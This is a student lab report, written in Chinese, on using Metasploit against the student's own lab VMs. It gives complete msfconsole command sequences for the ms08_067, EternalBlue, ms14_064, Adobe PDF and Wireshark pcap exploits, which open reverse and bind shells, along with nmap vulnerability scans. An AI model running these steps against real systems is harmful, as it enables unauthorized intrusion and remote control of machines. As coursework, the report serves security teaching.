2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
- 原理与实践说明
- 攻击实例
- 主动攻击的实践
- ms08_067_netapi:自动化漏洞溢出攻击
payload:generic/shell_bind_tcp
(成功且唯一)
- ms17_010_eternalblue:“永恒之蓝”自动化攻击
payload:windows/x64/shell/reverse_tcp_uuid
(成功且唯一)
- ms08_067_netapi:自动化漏洞溢出攻击
- 攻击浏览器的实践
- 攻击客户端的实践
- Adobe
payload:windows/meterpreter/bind_tcp
(成功且唯一)
- wireshark_packet_dect
payload:windows/meterpreter/reverse_tcp
(成功)
- Adobe
- 成功应用任何一个辅助模块
- 在ms08_067中应用
use auxiliary/scanner/portscan/tcp
搜索靶机开放端口
- 在ms08_067中应用
- 主动攻击的实践
- 实验遇到的问题及解决方法
- 离实战还缺些什么技术或步骤
- 实验总结与体会
原理与实践说明
1.实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules
-
渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去 -
辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提 -
攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 -
空字段模块
Nop Modules
-
编码模块
Encoders
-
后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
- MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器service postgresql start
- 启动armitagearmitage
- webgui
4.MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
2.实践内容概述
-
一个主动攻击实践,如ms08_067; (1分)
-
一个针对浏览器的攻击,如ms11_050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
3.基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
攻击实例
主动攻击的实践
ms08-067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
靶机:Microsoft Windows 2000(10.0.0.112)
payload : generic/shell_reverse_tcp
-
测试靶机与攻击机之间能否ping通
-
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112
-
查看到靶机的版本号
-
查看到靶机存在此漏洞
-
-
msfconsole
打开控制台,遇到以下提示,原因是没有连接数据库
-
输入
service postgresql start
启动数据库,再次进入控制台即可 -
search ms08-067
查看漏洞位置
-
use exploit/windows/smb/ms08_067_netapi
选择该漏洞 -
set RHOSTS 10.0.0.112
设置靶机IP
-
利用辅助模块查看端口是否开启(默认端口为445)
search portscan # 搜索端口 use auxiliary/scanner/portscan/tcp # 使用漏洞 show options #显示设置 set RHOSTS 10.0.0.112 # 设置监听者地址 exploit # 攻击
-
show targets
查看targets,修改靶机的类型set target 1
(也可以不修改) -
show payloads
查看可用payload
-
选择
set generic/shell_bind_tcp
-
set LHOST 10.0.0.128
设置监听者ip -
set LPORT 5318
设置监听者端口号 -
show options
查看设置信息
-
exploit
进行攻击,攻击成功!
ms17_010_eternalblue
靶机:Microsoft Windows 7(10.1.1.137)
payload : windows/x64/shell/reverse_tcp_uuid
实验步骤
nmap --script=vuln 10.1.1.137 //查看靶机开放端口、是否存在ms17_010
search ms17_010 //搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
show payloads //显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 10.1.1.128 //设置监听地址
set LPORT 5318 //设置端口号
set RHOSTS 10.1.1.137 //设置靶机地址
show options //查看配置信息
exploit //开始攻击
攻击成功
攻击浏览器的实践
ms10_046
靶机:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_https
实验步骤
search ms10-046 //看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader //使用漏洞
show payloads //显示可用攻击载荷
set windows/meterpreter/reverse_https //选择攻击载荷
show options //查看配置信息
set LHOST 10..1.128 //设置监听地址
set SRVHOST 10.1.1.128 //设置本地收听地址
set LPORT //设置端口号
exploit #开始攻击
-
将
/root/.msf4/local/msf.lnk
共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions
查看当前会话
-
输入
sessions -i 1
即可选择第一个会话,然后就攻击成功
做过之后我发现,这个并不是攻击浏览器的,而是一个反弹连接,使用info
查看可以发现,这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个SMB服务来使payload运行这个dll文件,同时需要靶机生成一个文件送到被攻击机上。
ms14_064
此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。
靶机:WindowsXP+IE 8.0
exploit : windows/browser/ms14_064_ole_code_execution
payload : windows/meterpreter/reverse_tcp
实验步骤
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 10.1.1.128 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.1.1.128
set LPORT 5318
set target 0 //设置winXP靶机
exploit //发起攻击
-
将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话
-
输入
sessions
查看会话相关信息
-
输入
sessions -i 1
即可选择第一个会话,调用shell权限成功
尝试使用payload:windows/meterpreter/reverse_https
,结果失败了
攻击客户端的实践
Adobe
靶机:Windows XP
payload : windows/meterpreter/bind_tcp
实验步骤
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5318 //设置端口号
set RHOST 10.1.1.161 //设置靶机IP地址
exploit #攻击
-
将生成的
msf.pdf
复制到Windows XP中 -
kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 10.1.1.161 //设置靶机IP地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用双击打开
msf.pdf
攻击成功
wireshark_packet_dect
靶机:Windows XP
payload : windows/meterpreter/reverse_tcp
实验步骤
msfconsole //进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
set FILENAME 5318.pcap //设置文件名
show options //查看设置
exploit #攻击
-
将生成的
5318.pcap
复制到Windows XP中 -
kail中输入
back
退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用wireshark打开
5318.pcap
攻击成功
实验中遇到的问题及解决方法
-
因为觉得每次都打开msfconle时间太长,所以我经常都是在前一次实验的基础上进行实验,在攻击的时候就会出现以下问题
- 提示是说端口被占用了,我换了几个端口都没用,后来重启了msf,奏效了!!!!。果然重启解决一切问题!
离实战还缺些什么技术或步骤
- 信息收集扫描的重要性,掌握准确的信息是成功的关键因素。
- 首先目前对某个漏洞的攻击还是针对与网上搜索的资料和步骤,msf只是攻击漏洞的一个工具,我现在就只是能够参考学长学姐的做法,根据想要的攻击的方法选择已有的模块进行攻击,对已有攻击教程的依赖程度还比较高,所以想真正用好msf,搞懂怎么利用漏洞进行攻击还需要更多的主动性、目的性。
实验总结与体会
-
本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在找靶机上。这体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我觉得这也是与实践的差距之一。
-
总体来说实验过程还是比较顺利,在这次实验过程中,我觉得最终要的就是实验之前看帮助,要使用什么口令,怎么使用口令,靶机中有什么漏洞,漏洞的详细信息等等,这样可以避免盲目的实践导致事件的浪费。